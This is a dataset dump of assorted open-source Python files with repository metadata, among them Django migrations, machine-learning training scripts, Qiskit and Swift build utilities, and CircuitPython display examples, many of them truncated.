88def27f1cd8974c62dead282cd04d1384054888
[ "MIT" ]
null
null
null
# Generated by Django 3.2.9 on 2021-11-17 15:36 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('run', '0005_alter_run_start_time'), ] operations = [ migrations.AlterField( model_name='run', name='start_time', ...
21.210526
68
0.60794
from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('run', '0005_alter_run_start_time'), ] operations = [ migrations.AlterField( model_name='run', name='start_time', field=models.DateTimeField(verbose_nam...
true
true
f728e0dcd96c1b591ae5e8c1c0aaa544cd603765
393
py
Python
MyMusicApp/users/migrations/0002_profile_bio.py
kells4real/MusicApp
4e4ba065c4f472243413551f63dc4e9eddf7f4a7
[ "bzip2-1.0.6", "MIT" ]
null
null
null
MyMusicApp/users/migrations/0002_profile_bio.py
kells4real/MusicApp
4e4ba065c4f472243413551f63dc4e9eddf7f4a7
[ "bzip2-1.0.6", "MIT" ]
null
null
null
MyMusicApp/users/migrations/0002_profile_bio.py
kells4real/MusicApp
4e4ba065c4f472243413551f63dc4e9eddf7f4a7
[ "bzip2-1.0.6", "MIT" ]
null
null
null
# Generated by Django 2.2.2 on 2019-09-13 23:27 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0001_initial'), ] operations = [ migrations.AddField( model_name='profile', name='bio', field=m...
20.684211
74
0.590331
from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0001_initial'), ] operations = [ migrations.AddField( model_name='profile', name='bio', field=models.TextField(blank=True, max_length=500, nul...
true
true
f728e12d20caee0ee30c4eb3f34608b8cca21f80
1,896
py
Python
backend/app.py
eaglesemanation/CyberGarden-HackPlatform
e7bb9f7433644d3ba38c76a35595c798a30c0883
[ "MIT" ]
null
null
null
backend/app.py
eaglesemanation/CyberGarden-HackPlatform
e7bb9f7433644d3ba38c76a35595c798a30c0883
[ "MIT" ]
null
null
null
backend/app.py
eaglesemanation/CyberGarden-HackPlatform
e7bb9f7433644d3ba38c76a35595c798a30c0883
[ "MIT" ]
null
null
null
#!/usr/bin/env python import shutil from pathlib import Path import uvicorn from fastapi import FastAPI from starlette.middleware.cors import CORSMiddleware from settings import PROD_TORTOISE_ORM, TEST_TORTOISE_ORM from tortoise import Tortoise from crud import hacks, locations, participants, teams, users from setti...
25.28
86
0.737869
import shutil from pathlib import Path import uvicorn from fastapi import FastAPI from starlette.middleware.cors import CORSMiddleware from settings import PROD_TORTOISE_ORM, TEST_TORTOISE_ORM from tortoise import Tortoise from crud import hacks, locations, participants, teams, users from settings import PROD_TORTO...
true
true
f728e28fd3d47867ca96ea9647907f197fd83ece
1,001
py
Python
logistic regression/logistic_adam/adam_train_loss .py
ouyangyike/Inference-Algorithm
ac3470e2fbc4415174b32ecc2e2f3f101da1ca38
[ "MIT" ]
null
null
null
logistic regression/logistic_adam/adam_train_loss .py
ouyangyike/Inference-Algorithm
ac3470e2fbc4415174b32ecc2e2f3f101da1ca38
[ "MIT" ]
null
null
null
logistic regression/logistic_adam/adam_train_loss .py
ouyangyike/Inference-Algorithm
ac3470e2fbc4415174b32ecc2e2f3f101da1ca38
[ "MIT" ]
null
null
null
import numpy as np import tensorflow as tf import matplotlib.pyplot as plt from logistic_adam import * #learing rate = 1,batch_size = 500, epoch=15, lamda = 0.01 logging = runLogistic(1,500,15,0.01) #print(logging) plt.plot(logging[:,0],marker='+',label='learning rate = 1') #learing rate = 0.1,batch_size = 500, epoc...
28.6
74
0.712288
import numpy as np import tensorflow as tf import matplotlib.pyplot as plt from logistic_adam import * logging = runLogistic(1,500,15,0.01) plt.plot(logging[:,0],marker='+',label='learning rate = 1') logging = runLogistic(0.1,500,15,0.01) plt.plot(logging[:,0],marker='*',label='learning rate = 0.1') logging = ...
true
true
f728e2a3b8c71f6b3b84c50cab4c2551ffed73f2
5,983
py
Python
ibmsecurity/isam/base/network/felb/ha.py
zone-zero/ibmsecurity
7d3e38104b67e1b267e18a44845cb756a5302c3d
[ "Apache-2.0" ]
46
2017-03-21T21:08:59.000Z
2022-02-20T22:03:46.000Z
ibmsecurity/isam/base/network/felb/ha.py
zone-zero/ibmsecurity
7d3e38104b67e1b267e18a44845cb756a5302c3d
[ "Apache-2.0" ]
201
2017-03-21T21:25:52.000Z
2022-03-30T21:38:20.000Z
ibmsecurity/isam/base/network/felb/ha.py
zone-zero/ibmsecurity
7d3e38104b67e1b267e18a44845cb756a5302c3d
[ "Apache-2.0" ]
91
2017-03-22T16:25:36.000Z
2022-02-04T04:36:29.000Z
import ibmsecurity.utilities.tools import logging from ibmsecurity.utilities import tools logger = logging.getLogger(__name__) module_uri = "/isam/felb/configuration/ha" requires_modules = None requires_version = None requires_model = "Appliance" def get(isamAppliance, check_mode=False, force=False): """ R...
34.583815
106
0.638476
import ibmsecurity.utilities.tools import logging from ibmsecurity.utilities import tools logger = logging.getLogger(__name__) module_uri = "/isam/felb/configuration/ha" requires_modules = None requires_version = None requires_model = "Appliance" def get(isamAppliance, check_mode=False, force=False): return is...
true
true
f728e661b01796f02639fa1d1c695a188a1df203
1,684
py
Python
Code/HypoBertClas/pybert/test/predicter.py
NinaTian98369/HypoGen
14f192ecc1ef0c6fc5864f0816ef61885dc9e864
[ "MIT" ]
3
2021-09-21T19:05:30.000Z
2022-02-17T22:14:31.000Z
Code/HypoBertClas/pybert/test/predicter.py
NinaTian98369/HypoGen
14f192ecc1ef0c6fc5864f0816ef61885dc9e864
[ "MIT" ]
2
2021-11-30T06:56:12.000Z
2022-03-11T06:01:59.000Z
Code/HypoBertClas/pybert/test/predicter.py
NinaTian98369/HypoGen
14f192ecc1ef0c6fc5864f0816ef61885dc9e864
[ "MIT" ]
1
2022-02-17T22:08:13.000Z
2022-02-17T22:08:13.000Z
#encoding:utf-8 import torch import numpy as np from ..utils.utils import model_device,load_bert class Predicter(object): def __init__(self, model, logger, n_gpu, model_path ): self.model = model self.logger = logg...
33.019608
123
0.559976
import torch import numpy as np from ..utils.utils import model_device,load_bert class Predicter(object): def __init__(self, model, logger, n_gpu, model_path ): self.model = model self.logger = logger self...
true
true
f728e80f740d63b4f91fffd0267a79fc4be81c99
304
py
Python
pyro/nn/__init__.py
HeyangGong/Pyro4CI
28778477ce8ff3bc12b3ac8face2208e5b05ff7c
[ "MIT" ]
2
2020-04-11T04:30:55.000Z
2021-07-29T18:45:08.000Z
pyro/nn/__init__.py
HeyangGong/Pyro4CI
28778477ce8ff3bc12b3ac8face2208e5b05ff7c
[ "MIT" ]
null
null
null
pyro/nn/__init__.py
HeyangGong/Pyro4CI
28778477ce8ff3bc12b3ac8face2208e5b05ff7c
[ "MIT" ]
null
null
null
from __future__ import absolute_import, division, print_function from pyro.nn.auto_reg_nn import AutoRegressiveNN, ConditionalAutoRegressiveNN, MaskedLinear from pyro.nn.dense_nn import DenseNN __all__ = [ "AutoRegressiveNN", "ConditionalAutoRegressiveNN", "DenseNN", "MaskedLinear", ]
25.333333
91
0.786184
from __future__ import absolute_import, division, print_function from pyro.nn.auto_reg_nn import AutoRegressiveNN, ConditionalAutoRegressiveNN, MaskedLinear from pyro.nn.dense_nn import DenseNN __all__ = [ "AutoRegressiveNN", "ConditionalAutoRegressiveNN", "DenseNN", "MaskedLinear", ]
true
true
f728e89cc7e4fbbc18c7a515a87b73a0c5779a76
13,317
py
Python
vtool/inspect_matches.py
WildMeOrg/wbia-vtool
a9c7e2649c625b26eb074766c1d9018f432a33c6
[ "Apache-2.0" ]
1
2017-05-13T14:06:15.000Z
2017-05-13T14:06:15.000Z
vtool/inspect_matches.py
WildbookOrg/vtool
a9c7e2649c625b26eb074766c1d9018f432a33c6
[ "Apache-2.0" ]
4
2020-06-23T19:02:46.000Z
2020-10-13T00:48:32.000Z
vtool/inspect_matches.py
WildbookOrg/vtool
a9c7e2649c625b26eb074766c1d9018f432a33c6
[ "Apache-2.0" ]
1
2020-06-29T03:42:39.000Z
2020-06-29T03:42:39.000Z
# -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function import utool as ut import ubelt as ub try: import wbia.guitool as gt from wbia.guitool import mpl_widget INSPECT_BASE = gt.GuitoolWidget MatplotlibWidget = mpl_widget.MatplotlibWidget except (ImportError, TypeErro...
34.952756
96
0.619133
from __future__ import absolute_import, division, print_function import utool as ut import ubelt as ub try: import wbia.guitool as gt from wbia.guitool import mpl_widget INSPECT_BASE = gt.GuitoolWidget MatplotlibWidget = mpl_widget.MatplotlibWidget except (ImportError, TypeError): import warnings...
true
true
f728e8ba0cf5f206c1d37e33dba1a29723c65385
5,237
py
Python
src/smart_compose/train/data_fn.py
StarWang/detext
66f071ec2cebf5e54e7d1de40936b5f281c2a69b
[ "BSD-2-Clause" ]
1,229
2020-02-07T22:17:47.000Z
2022-03-26T06:56:52.000Z
src/smart_compose/train/data_fn.py
StarWang/detext
66f071ec2cebf5e54e7d1de40936b5f281c2a69b
[ "BSD-2-Clause" ]
36
2020-04-10T02:00:20.000Z
2022-02-09T06:52:35.000Z
src/smart_compose/train/data_fn.py
StarWang/detext
66f071ec2cebf5e54e7d1de40936b5f281c2a69b
[ "BSD-2-Clause" ]
142
2020-04-07T01:04:07.000Z
2022-03-31T16:22:20.000Z
import tensorflow as tf from functools import partial from smart_compose.utils.parsing_utils import get_input_files, InputFtrType, iterate_items_with_list_val def _read_specified_features(inputs, feature_type2name): """Only reads in features specified in the DeText arguments""" required_inputs = {} for _...
38.507353
125
0.665266
import tensorflow as tf from functools import partial from smart_compose.utils.parsing_utils import get_input_files, InputFtrType, iterate_items_with_list_val def _read_specified_features(inputs, feature_type2name): required_inputs = {} for _, ftr_name_list in iterate_items_with_list_val(feature_type2name): ...
true
true
f728e961381abd978e448b0e9421310fa127c4d7
519
py
Python
app/users/signals.py
Nilsen11/django-training-CBV
b470fd1ea11df5d360389cbd24cac18c9383b8bd
[ "MIT" ]
null
null
null
app/users/signals.py
Nilsen11/django-training-CBV
b470fd1ea11df5d360389cbd24cac18c9383b8bd
[ "MIT" ]
null
null
null
app/users/signals.py
Nilsen11/django-training-CBV
b470fd1ea11df5d360389cbd24cac18c9383b8bd
[ "MIT" ]
null
null
null
from django.contrib.auth.models import User from django.db.models.signals import post_save from django.dispatch import receiver from .models import Profile # @receiver(post_save, sender=User) def create_profile(sender, instance, created, **kwargs): if created: Profile.objects.create(user=instance) # @re...
25.95
56
0.776493
from django.contrib.auth.models import User from django.db.models.signals import post_save from django.dispatch import receiver from .models import Profile def create_profile(sender, instance, created, **kwargs): if created: Profile.objects.create(user=instance) def save_profile(sender, instance, **kw...
true
true
f728ea2eb644fbcc81d1cbb2f7e623c7f87f0380
834
py
Python
src/bokeh_app/graph_view.py
avbatchelor/insight-articles-project
852b338b786cb5b9c281fcec2e378aed8d3dc617
[ "MIT" ]
null
null
null
src/bokeh_app/graph_view.py
avbatchelor/insight-articles-project
852b338b786cb5b9c281fcec2e378aed8d3dc617
[ "MIT" ]
null
null
null
src/bokeh_app/graph_view.py
avbatchelor/insight-articles-project
852b338b786cb5b9c281fcec2e378aed8d3dc617
[ "MIT" ]
null
null
null
import networkx as nx import pickle from bokeh.io import show, output_file from bokeh.plotting import figure from bokeh.models.graphs import from_networkx processed_data_folder = 'C:\\Users\\Alex\\Documents\\GitHub\\insight-articles-project\\data\\processed\\' filename = processed_data_folder + 'graph_and_labels' wi...
29.785714
105
0.758993
import networkx as nx import pickle from bokeh.io import show, output_file from bokeh.plotting import figure from bokeh.models.graphs import from_networkx processed_data_folder = 'C:\\Users\\Alex\\Documents\\GitHub\\insight-articles-project\\data\\processed\\' filename = processed_data_folder + 'graph_and_labels' wi...
true
true
f728ed59d3b16b2ce2e1e501c09060a43e8d75f1
2,814
py
Python
cpp/src/tools/scons/scons-local-1.2.0.d20090223/SCons/Tool/ifl.py
nawien-sharma/keyczar
c55563bbd70f4b6fefc7444e296aab9894475f9a
[ "Apache-2.0" ]
30
2015-01-29T14:06:05.000Z
2022-01-10T07:47:29.000Z
cpp/src/tools/scons/scons-local-1.2.0.d20090223/SCons/Tool/ifl.py
nawien-sharma/keyczar
c55563bbd70f4b6fefc7444e296aab9894475f9a
[ "Apache-2.0" ]
1
2017-02-20T20:57:48.000Z
2018-12-19T23:44:38.000Z
cpp/src/tools/scons/scons-local-1.2.0.d20090223/SCons/Tool/ifl.py
nawien-sharma/keyczar
c55563bbd70f4b6fefc7444e296aab9894475f9a
[ "Apache-2.0" ]
15
2015-04-23T02:38:36.000Z
2021-03-01T20:09:39.000Z
"""SCons.Tool.ifl Tool-specific initialization for the Intel Fortran compiler. There normally shouldn't be any need to import this module directly. It will usually be imported through the generic SCons.Tool.Tool() selection method. """ # # Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 The SCons...
38.547945
121
0.730988
__revision__ = "src/engine/SCons/Tool/ifl.py 4043 2009/02/23 09:06:45 scons" import SCons.Defaults from SCons.Scanner.Fortran import FortranScan from FortranCommon import add_all_to_env def generate(env): fscan = FortranScan("FORTRANPATH") SCons.Tool.SourceFileScanner.add_scanner('.i',...
true
true
f728ed8b115953ba9eb18572f31a9091b8aceb3d
10,194
py
Python
web/form/widgets.py
marcelb98/pycroft
34cc59d9ab7fdc0c20b09b4851111048a9f64d90
[ "Apache-2.0" ]
null
null
null
web/form/widgets.py
marcelb98/pycroft
34cc59d9ab7fdc0c20b09b4851111048a9f64d90
[ "Apache-2.0" ]
null
null
null
web/form/widgets.py
marcelb98/pycroft
34cc59d9ab7fdc0c20b09b4851111048a9f64d90
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # Copyright (c) 2016 The Pycroft Authors. See the AUTHORS file. # This file is part of the Pycroft project and licensed under the terms of # the Apache License, Version 2.0. See the LICENSE file for details. from itertools import chain from flask import url_for from markupsafe import escape, Markup impo...
34.673469
96
0.614087
from itertools import chain from flask import url_for from markupsafe import escape, Markup import wtforms.ext.sqlalchemy.fields import wtforms.fields from wtforms.widgets.core import html_params, HTMLString from web.templates import page_resources from functools import reduce class WidgetDecorator(object): ...
true
true
f728ee3b1671b49bf022dd945f48cb355a0d7e61
691
py
Python
AutoRefresh/AutoRefresh.py
GWDx/Script
35c9e8aefa7378608d99de5bf711c22383c1bb09
[ "MIT" ]
1
2021-10-03T07:43:41.000Z
2021-10-03T07:43:41.000Z
AutoRefresh/AutoRefresh.py
GWDx/Script
35c9e8aefa7378608d99de5bf711c22383c1bb09
[ "MIT" ]
null
null
null
AutoRefresh/AutoRefresh.py
GWDx/Script
35c9e8aefa7378608d99de5bf711c22383c1bb09
[ "MIT" ]
null
null
null
from selenium import webdriver from time import sleep import re browser = webdriver.Firefox() browser.get('https://jw.ustc.edu.cn') input() windows = browser.window_handles browser.switch_to.window(windows[1]) while True: element = browser.find_element_by_id('table') elementText = element.text...
24.678571
82
0.625181
from selenium import webdriver from time import sleep import re browser = webdriver.Firefox() browser.get('https://jw.ustc.edu.cn') input() windows = browser.window_handles browser.switch_to.window(windows[1]) while True: element = browser.find_element_by_id('table') elementText = element.text...
true
true
f728eef6dc9a58573ba69af9db9c00b0d0e6663c
4,166
py
Python
roman/ur/realtime/constants.py
drMJ/roman
9650e73ec6fbb2d8044aa1bbf89fd671843ea54e
[ "MIT" ]
14
2020-04-03T03:48:35.000Z
2021-11-08T11:17:41.000Z
roman/ur/realtime/constants.py
drMJ/roman
9650e73ec6fbb2d8044aa1bbf89fd671843ea54e
[ "MIT" ]
5
2020-04-17T21:59:35.000Z
2022-01-21T23:21:45.000Z
roman/ur/realtime/constants.py
drMJ/roman
9650e73ec6fbb2d8044aa1bbf89fd671843ea54e
[ "MIT" ]
10
2020-04-16T15:44:25.000Z
2021-11-10T08:22:52.000Z
################################################################################################################################ ## constants.py ## Contains various constants and defaults used both on the urscript side and the python side ## The defaults can be oveeriden when calling utils.load_script, by including the...
37.872727
154
0.660346
true
true
f728ef3ac6c9afa2c6e1b048510aab2473316fca
1,781
py
Python
data/main.py
banahaker/mingdao
a5dc7fce50c23a0e287813d914234f6b84027cdf
[ "MIT" ]
2
2021-12-19T11:44:44.000Z
2022-01-27T09:29:58.000Z
data/main.py
banahaker/mingdao
a5dc7fce50c23a0e287813d914234f6b84027cdf
[ "MIT" ]
null
null
null
data/main.py
banahaker/mingdao
a5dc7fce50c23a0e287813d914234f6b84027cdf
[ "MIT" ]
null
null
null
import requests import bs4 import json import os # define git commit function def gitCommit(): os.chdir('..') os.system('git status') os.system("git add .") os.system("git status") os.system('git commit -m "update data information"') os.system("git push") # get page response url = 'http://www....
29.196721
152
0.647951
import requests import bs4 import json import os def gitCommit(): os.chdir('..') os.system('git status') os.system("git add .") os.system("git status") os.system('git commit -m "update data information"') os.system("git push") url = 'http://www.mingdao.edu.tw/homeX/Web/' header = { "Use...
true
true
f728efb52d226dd7c63082f446ae3c4e21518b76
6,913
py
Python
latency_pipe.py
ybCliff/VideoCaptioning
93fc3b095c970e51e1e24909163a827df98d6ef3
[ "MIT" ]
3
2020-05-16T23:59:57.000Z
2021-06-14T01:59:41.000Z
latency_pipe.py
ybCliff/VideoCaptioning
93fc3b095c970e51e1e24909163a827df98d6ef3
[ "MIT" ]
null
null
null
latency_pipe.py
ybCliff/VideoCaptioning
93fc3b095c970e51e1e24909163a827df98d6ef3
[ "MIT" ]
3
2020-05-17T00:01:01.000Z
2020-07-28T18:04:05.000Z
import sys sys.path.append("../") import json import os import argparse import torch import shutil import numpy as np num_loop = 1 #for i in range(num_loop): # op = 'CUDA_VISIBLE_DEVICES=2 python ar_test.py -i 0 -em test -analyze -ns -write_time -beam_size 1' # os.system(op) ''' for bs in [1, 5, 6]: op =...
38.19337
189
0.621872
import sys sys.path.append("../") import json import os import argparse import torch import shutil import numpy as np num_loop = 1 for bs in [1, 5, 6]: op = 'CUDA_VISIBLE_DEVICES=0 python ar_test.py -i 0 -em test -analyze -write_time -beam_size %d'%bs os.system(op) for iteration in range(1, 8): ...
true
true
f728f0d04d3651b4023f52477fccaa85cf8b99cf
8,361
py
Python
qiskit/circuit/controlflow/for_loop.py
boschmitt/qiskit-terra
1a1235a7206bdf293d153d285f932e80151e9cb4
[ "Apache-2.0" ]
null
null
null
qiskit/circuit/controlflow/for_loop.py
boschmitt/qiskit-terra
1a1235a7206bdf293d153d285f932e80151e9cb4
[ "Apache-2.0" ]
7
2021-10-14T12:38:24.000Z
2022-03-21T11:20:02.000Z
qiskit/circuit/controlflow/for_loop.py
boschmitt/qiskit-terra
1a1235a7206bdf293d153d285f932e80151e9cb4
[ "Apache-2.0" ]
null
null
null
# This code is part of Qiskit. # # (C) Copyright IBM 2021. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any modifications or derivative wo...
38.529954
100
0.634852
import warnings from typing import Iterable, Optional, Union from qiskit.circuit.parameter import Parameter from qiskit.circuit.exceptions import CircuitError from qiskit.circuit.quantumcircuit import QuantumCircuit from .control_flow import ControlFlowOp class ForLoopOp(ControlFlowOp): def __init_...
true
true
f728f0e8a193188e2b3867c59814c0860e7e1ed5
5,671
py
Python
baselines/ddpg/main.py
wensun/baselines
81b7b988918de2c1c2f5fa9f38b7716608efc125
[ "MIT" ]
null
null
null
baselines/ddpg/main.py
wensun/baselines
81b7b988918de2c1c2f5fa9f38b7716608efc125
[ "MIT" ]
null
null
null
baselines/ddpg/main.py
wensun/baselines
81b7b988918de2c1c2f5fa9f38b7716608efc125
[ "MIT" ]
null
null
null
import argparse import time import os import logging from baselines import logger, bench from baselines.common.misc_util import ( set_global_seeds, boolean_flag, ) #import baselines.ddpg.training as training import training as training from baselines.ddpg.models import Actor, Critic from baselines.ddpg.memory i...
42.962121
136
0.696703
import argparse import time import os import logging from baselines import logger, bench from baselines.common.misc_util import ( set_global_seeds, boolean_flag, ) import training as training from baselines.ddpg.models import Actor, Critic from baselines.ddpg.memory import Memory from baselines.ddpg.noise impo...
true
true
f728f0fa1b2ee82aebef93fdc59f9d8021dc8a1a
3,779
py
Python
feincms/content/filer/models.py
ixc/feincms
d3746174190acbe7caf32078ddc5ec7c2e48b8ef
[ "BSD-3-Clause" ]
1
2016-05-07T11:50:28.000Z
2016-05-07T11:50:28.000Z
feincms/content/filer/models.py
ixc/feincms
d3746174190acbe7caf32078ddc5ec7c2e48b8ef
[ "BSD-3-Clause" ]
null
null
null
feincms/content/filer/models.py
ixc/feincms
d3746174190acbe7caf32078ddc5ec7c2e48b8ef
[ "BSD-3-Clause" ]
1
2019-03-15T19:36:34.000Z
2019-03-15T19:36:34.000Z
from __future__ import absolute_import, unicode_literals from django.contrib import admin from django.core.exceptions import ImproperlyConfigured from django.db import models from django.utils.translation import ugettext_lazy as _ from feincms.admin.item_editor import FeinCMSInline from feincms._internal import ct_re...
31.231405
78
0.576078
from __future__ import absolute_import, unicode_literals from django.contrib import admin from django.core.exceptions import ImproperlyConfigured from django.db import models from django.utils.translation import ugettext_lazy as _ from feincms.admin.item_editor import FeinCMSInline from feincms._internal import ct_re...
true
true
f728f1fe99a294562108e7f14024099bb7779f8d
10,345
py
Python
src/TypingExercise.py
mruiz42/zhong-wen-trainer-master
b565c40185d7184515be335d848a653cc7f86b51
[ "Unlicense" ]
2
2021-02-16T11:09:17.000Z
2021-12-17T13:50:40.000Z
src/TypingExercise.py
mruiz42/zhong-wen-trainer-master
b565c40185d7184515be335d848a653cc7f86b51
[ "Unlicense" ]
4
2019-05-18T02:16:02.000Z
2021-12-17T14:58:43.000Z
src/TypingExercise.py
mruiz42/zhong-wen-trainer-master
b565c40185d7184515be335d848a653cc7f86b51
[ "Unlicense" ]
null
null
null
from src.StarDelegate import * from src.driverUi.callReview import * from datetime import * from src.utilities.SqlTools import * from PyQt5.QtGui import QStandardItemModel, QStandardItem class TypingExercise(): def __init__(self, main_window, word_deck, parent=None): super(TypingExercise, self).__init__() ...
45.174672
120
0.652779
from src.StarDelegate import * from src.driverUi.callReview import * from datetime import * from src.utilities.SqlTools import * from PyQt5.QtGui import QStandardItemModel, QStandardItem class TypingExercise(): def __init__(self, main_window, word_deck, parent=None): super(TypingExercise, self).__init__() ...
true
true
f728f20365e4e5bd9201c8a3f0be78904dc5cadc
12,097
py
Python
kifurushi/packet.py
lewoudar/kifurushi
996e631933f55a96dd7a23360b693731414bd944
[ "Apache-2.0" ]
null
null
null
kifurushi/packet.py
lewoudar/kifurushi
996e631933f55a96dd7a23360b693731414bd944
[ "Apache-2.0" ]
4
2021-08-18T16:07:47.000Z
2021-12-08T17:21:50.000Z
kifurushi/packet.py
lewoudar/kifurushi
996e631933f55a96dd7a23360b693731414bd944
[ "Apache-2.0" ]
null
null
null
"""This module defines the base Packet class and helper functions.""" import enum import inspect from copy import copy from typing import Iterable, Dict, Union, Any, Callable, List, Type from kifurushi.utils.network import hexdump from .abc import Field, CommonField from .fields import BitsField, FieldPart, Conditiona...
38.160883
116
0.614698
import enum import inspect from copy import copy from typing import Iterable, Dict, Union, Any, Callable, List, Type from kifurushi.utils.network import hexdump from .abc import Field, CommonField from .fields import BitsField, FieldPart, ConditionalField class Packet: __fields__: Iterable[Field] = None def...
true
true
f728f2be183bdd9218b7e27cbee79e9189e0e109
379
py
Python
HLTrigger/Configuration/python/HLT_75e33/modules/hltEgammaClusterShapeL1Seeded_cfi.py
PKUfudawei/cmssw
8fbb5ce74398269c8a32956d7c7943766770c093
[ "Apache-2.0" ]
1
2021-11-30T16:24:46.000Z
2021-11-30T16:24:46.000Z
HLTrigger/Configuration/python/HLT_75e33/modules/hltEgammaClusterShapeL1Seeded_cfi.py
PKUfudawei/cmssw
8fbb5ce74398269c8a32956d7c7943766770c093
[ "Apache-2.0" ]
4
2021-11-29T13:57:56.000Z
2022-03-29T06:28:36.000Z
HLTrigger/Configuration/python/HLT_75e33/modules/hltEgammaClusterShapeL1Seeded_cfi.py
PKUfudawei/cmssw
8fbb5ce74398269c8a32956d7c7943766770c093
[ "Apache-2.0" ]
1
2021-11-30T16:16:05.000Z
2021-11-30T16:16:05.000Z
import FWCore.ParameterSet.Config as cms hltEgammaClusterShapeL1Seeded = cms.EDProducer("EgammaHLTClusterShapeProducer", ecalRechitEB = cms.InputTag("hltRechitInRegionsECAL","EcalRecHitsEB"), ecalRechitEE = cms.InputTag("hltRechitInRegionsECAL","EcalRecHitsEE"), isIeta = cms.bool(True), recoEcalCandida...
42.111111
79
0.796834
import FWCore.ParameterSet.Config as cms hltEgammaClusterShapeL1Seeded = cms.EDProducer("EgammaHLTClusterShapeProducer", ecalRechitEB = cms.InputTag("hltRechitInRegionsECAL","EcalRecHitsEB"), ecalRechitEE = cms.InputTag("hltRechitInRegionsECAL","EcalRecHitsEE"), isIeta = cms.bool(True), recoEcalCandida...
true
true
f728f3fe761e36ce0b53a9bcf5b8cfaff9cb2a53
3,907
py
Python
src/users/models/componentsschemasmicrosoft_graph_mailfolderallof1.py
peombwa/Sample-Graph-Python-Client
3396f531fbe6bb40a740767c4e31aee95a3b932e
[ "MIT" ]
null
null
null
src/users/models/componentsschemasmicrosoft_graph_mailfolderallof1.py
peombwa/Sample-Graph-Python-Client
3396f531fbe6bb40a740767c4e31aee95a3b932e
[ "MIT" ]
null
null
null
src/users/models/componentsschemasmicrosoft_graph_mailfolderallof1.py
peombwa/Sample-Graph-Python-Client
3396f531fbe6bb40a740767c4e31aee95a3b932e
[ "MIT" ]
null
null
null
# coding=utf-8 # -------------------------------------------------------------------------- # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from ...
50.089744
317
0.699514
from msrest.serialization import Model class ComponentsschemasmicrosoftGraphMailfolderallof1(Model): _validation = { 'child_folder_count': {'maximum': 2147483647, 'minimum': -2147483648}, 'unread_item_count': {'maximum': 2147483647, 'minimum': -2147483648}, 'total_item_count': {'ma...
true
true
f728f51808701cc3a00f24a9a0c6b2a2c87aa602
28,011
py
Python
utils/build_swift/tests/expected_options.py
JiarenWang/swift
ed104a81342d65328ec2ab20bde2399d22858f07
[ "Apache-2.0" ]
1
2018-10-12T17:49:57.000Z
2018-10-12T17:49:57.000Z
utils/build_swift/tests/expected_options.py
stevendinggang/swift
95aeaf7b64c9df798c3b0064129f03e5b97e0e80
[ "Apache-2.0" ]
1
2019-01-16T23:21:36.000Z
2019-01-16T23:21:36.000Z
utils/build_swift/tests/expected_options.py
stevendinggang/swift
95aeaf7b64c9df798c3b0064129f03e5b97e0e80
[ "Apache-2.0" ]
2
2017-07-20T10:09:21.000Z
2018-10-15T13:09:30.000Z
# This source file is part of the Swift.org open source project # # Copyright (c) 2014 - 2020 Apple Inc. and the Swift project authors # Licensed under Apache License v2.0 with Runtime Library Exception # # See https://swift.org/LICENSE.txt for license information # See https://swift.org/CONTRIBUTORS.txt for the list o...
38.266393
81
0.676627
from __future__ import absolute_import, unicode_literals import multiprocessing from build_swift import argparse from build_swift import defaults from swift_build_support.swift_build_support import targets __all__ = [ 'HelpOption', 'SetOption', 'SetTrueOption', 'SetFalseOption', 'Disab...
true
true
f728f523e3d2d32e7e3c55c564c297fd1e635901
1,969
py
Python
libralli/circcuitpython/adafruit-circuitpython-bundle-7.x-mpy-20211225/examples/displayio_ssd1305_simpletest.py
Yarik9008/SoftAcademic
118c9dc4620ca444c1557edd141a838820577202
[ "MIT" ]
1
2022-01-08T16:00:54.000Z
2022-01-08T16:00:54.000Z
libralli/circcuitpython/adafruit-circuitpython-bundle-7.x-mpy-20211225/examples/displayio_ssd1305_simpletest.py
Yarik9008/SoftAcademic
118c9dc4620ca444c1557edd141a838820577202
[ "MIT" ]
2
2020-12-05T02:58:20.000Z
2021-09-27T16:43:31.000Z
libralli/circcuitpython/adafruit-circuitpython-bundle-7.x-mpy-20211225/examples/displayio_ssd1305_simpletest.py
Yarik9008/SoftAcademic
118c9dc4620ca444c1557edd141a838820577202
[ "MIT" ]
4
2019-11-06T16:59:45.000Z
2021-10-31T22:05:00.000Z
# SPDX-FileCopyrightText: 2021 ladyada for Adafruit Industries # SPDX-License-Identifier: MIT """ This test will initialize the display using displayio and draw a solid white background, a smaller black rectangle, and some white text. """ import board import displayio import terminalio from adafruit_display_text impo...
26.253333
85
0.765871
import board import displayio import terminalio from adafruit_display_text import label import adafruit_displayio_ssd1305 displayio.release_displays() oled_reset = board.D9 spi = board.SPI() oled_cs = board.D5 oled_dc = board.D6 display_bus = displayio.FourWire( spi, command=oled_dc, chip_select=oled_cs, b...
true
true
f728f6bebe196dfc999874cdca77d254d18bd01b
1,799
py
Python
custom_components/hacs/repositories/hacsrepositorytheme.py
sjabby/home-assistant-conf
89f4bcea5daeddc1e657bc0d7f6db3197f6bddb8
[ "MIT" ]
3
2019-03-12T21:27:56.000Z
2019-05-03T06:18:48.000Z
custom_components/hacs/repositories/hacsrepositorytheme.py
sjabby/home-assistant-config
89f4bcea5daeddc1e657bc0d7f6db3197f6bddb8
[ "MIT" ]
null
null
null
custom_components/hacs/repositories/hacsrepositorytheme.py
sjabby/home-assistant-config
89f4bcea5daeddc1e657bc0d7f6db3197f6bddb8
[ "MIT" ]
null
null
null
"""Blueprint for HacsRepositoryThemes.""" # pylint: disable=too-many-instance-attributes,invalid-name,broad-except,access-member-before-definition import logging from .hacsrepositorybase import HacsRepositoryBase from ..hacsbase.exceptions import HacsRequirement _LOGGER = logging.getLogger("custom_components.hacs.rep...
32.709091
104
0.675931
import logging from .hacsrepositorybase import HacsRepositoryBase from ..hacsbase.exceptions import HacsRequirement _LOGGER = logging.getLogger("custom_components.hacs.repository") class HacsRepositoryThemes(HacsRepositoryBase): def __init__(self, repository_name: str, repositoryobject=None): super()....
true
true
f728f6d0ff571bb845a5fc0cf5dbf16903315a1b
3,552
py
